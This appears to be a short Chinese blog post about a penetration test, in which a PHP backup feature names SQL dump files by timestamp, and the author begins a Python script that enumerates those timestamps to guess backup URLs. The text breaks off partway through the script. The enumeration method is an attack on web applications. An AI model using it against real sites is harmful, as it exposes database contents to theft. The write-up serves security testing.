利用Python爆破数据库备份文件
某次测试过程中,发现PHP备份功能代码如下: // 根据时间生成备份文件名 $file_name = 'D' . date('Ymd') . 'T' . date('His'); $sql_file_name = $file_name . '.sql'; 那么形成的文件名格式如:D20180118T101433.sql,理论上是可以爆破的,于是写了一段Python脚本来尝试爆破。 Python测试脚本: 简单描述:设置一个开始的时间戳,然后遍历时间戳到当前时间点,得到一个列表,保存的时间格式为“20180110 000637”,然后带入请求,进行暴力猜解URL是否存在,如果存在就输出。 #! /usr/bin/env python # _*_ coding:utf-8 _*_ import time import requests import threadpool date= "2018-01-18 10:00:00" //开始时间 datelist=[] def gettime(): timeArray = time.strptime(date,"%Y-%m-%d %H:%M:%S...



